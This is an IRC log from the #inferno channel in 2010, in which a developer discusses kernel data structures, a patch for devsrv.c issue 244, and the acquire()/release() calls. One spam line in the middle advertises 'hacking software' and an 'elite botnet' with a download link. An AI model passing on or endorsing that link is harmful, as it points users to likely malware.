Conversation with #inferno at Fri Dec 10 17:17:49 2010 on powerman-asdf@irc.freenode.net (irc) (17:18:07) powerman-asdf left the room (quit: Read error: Operation timed out). (17:25:34) bvalek2 left the room (quit: Quit: Page closed). (18:19:18) bvalek2 [5985141d@gateway/web/freenode/ip.89.133.20.29] entered the room. (18:19:20) bvalek2 left the room (quit: Changing host). (18:19:21) bvalek2 [5985141d@unaffiliated/bvalek2] entered the room. (18:19:21) bvalek2 left the room (quit: Changing host). (18:19:21) bvalek2 [5985141d@gateway/web/freenode/ip.89.133.20.29] entered the room. (19:08:35) Fish left the room (quit: Quit: So Long, and Thanks for All the Fish). (20:38:10) hotaru2k3 left the room (quit: Ping timeout: 245 seconds). (20:46:35) powerman: which complex data structures available for inferno C code? (20:46:51) powerman: I mean, something like Queue defined in emu/port/qio.c (20:47:09) powerman: is there hash implementation, for example? (20:47:48) powerman: linked lists with ease add/remove? (20:48:54) powerman: or these wheels should be reinvented manually in each inferno driver which need them? (20:51:43) anth: i don't remember. i've not written any fresh kernel code in a long time. (20:52:13) anth: i wish section 10 of the manual was in better shape. (20:57:04) powerman: after reporting issue 244 yesterday I notice srv(3) man page already contain note about this bug: "BUGS A client with a read or write pending can remain blocked if the server exits before reply." (20:58:39) powerman: while trying to find a way to fix it, it turns out I need to keep track of all pending read/write requests in devsrv.c (20:59:46) powerman: that mean I need complex struct, with ease add/del multiple 'rc/wc' channels per each srvfile (21:01:50) powerman: in perl that's easy: (21:01:50) powerman: $pending{$srvfile}{read}{$mypid} = $rc; (21:01:50) powerman: # block in waiting for reply on $rc (21:01:50) powerman: delete $pending{$srvfile}{read}{$mypid}; (21:03:01) powerman: I can implement some wheels to make same possible in devsrv.c, but I don't think Charles will be happy to get patch with own wheels :) (21:25:10) powerman: ok, looks like there is nothing to worry about, quick grep on source yield a lot of different implementations for linked lists, adding one more doesn't harm (21:32:03) anth left the room (quit: Quit: anth). (21:33:38) anth [none@cpe-76-190-129-110.neo.res.rr.com] entered the room. (21:35:32) mjl- [~mjl@brutus.ueber.net] entered the room. (21:44:44) f|NN [~f|NN@p4FE882E2.dip0.t-ipconnect.de] entered the room. (22:04:01) anth left the room (quit: Quit: anth). (22:04:38) anth [none@cpe-76-190-129-110.neo.res.rr.com] entered the room. (22:07:15) anth left the room (quit: Read error: Connection reset by peer). (22:20:00) Fish [~Fish@9fans.fr] entered the room. (22:53:30) fgudin left the room (quit: Quit: leaving). (23:49:21) Fish left the room (quit: Quit: So Long, and Thanks for All the Fish). (23:49:35) bvalek2 left the room (quit: Quit: Page closed). (00:29:50) sasuke [~co_alvin@201-26-73-181.dsl.telesp.net.br] entered the room. (00:29:50) sasuke: (notice) hacking software download http://ihaxor.hpage.com/get_file.php?id=911760&vnr=411870 (00:29:50) sasuke: elite botnet http://ihaxor.hpage.com/get_file.php?id=911760&vnr=411870 (00:29:50) sasuke left the room. (02:23:12) powerman: I've implemented patch for issue 244 http://code.google.com/p/inferno-os/issues/detail?id=244#c1 (02:25:03) powerman: Keeping in mind I've nearly no C experience and zero experience writing for threading environment of inferno kernel, I'll be happy if someone more experienced check this patch for qlock() and other complex things. (03:23:22) f|NN left the room (quit: Quit: leaving). (05:18:32) acmeuser [~acmeuser@c-76-121-7-65.hsd1.wa.comcast.net] entered the room. (05:18:40) acmeuser left the room (quit: Read error: Connection reset by peer). (05:45:42) powerman: what acquire()/release() actually doing? or where I can read docs about this? (05:46:14) powerman: it looks like they lock/unlock something related to dis, maybe dis itself… (05:46:38) powerman: but what is their physical sense, when and why they should be used? (07:02:21) anth [none@cpe-76-190-129-110.neo.res.rr.com] entered the room. (08:03:50) anth_r left the room (quit: Remote host closed the connection). (08:04:48) anth_r [none@cpe-76-190-129-110.neo.res.rr.com] entered the room. (11:47:12) bvalek2 [c3e41404@gateway/web/freenode/ip.195.228.20.4] entered the room. (12:33:49) bvalek2 left the room (quit: Quit: Page closed). (14:51:32) Fish [~Fish@bus77-2-82-244-150-190.fbx.proxad.net] entered the room. (15:24:50) Fish left the room (quit: Quit: So Long, and Thanks for All the Fish). (15:25:42) Fish [~Fish@bus77-2-82-244-150-190.fbx.proxad.net] entered the room. (15:47:43) f|NN [~f|NN@p4FE89E28.dip0.t-ipconnect.de] entered the room. (17:04:59) f|NN left the room (quit: Quit: leaving). (17:06:52) kjell [~kjell@p4FE89E28.dip0.t-ipconnect.de] entered the room. (17:07:21) kjell left the room (quit: Client Quit). (17:12:15) yngve [~yngve@p4FE89E28.dip0.t-ipconnect.de] entered the room. (17:36:53) The account has disconnected and you are no longer in this chat. You will be automatically rejoined in the chat when the account reconnects.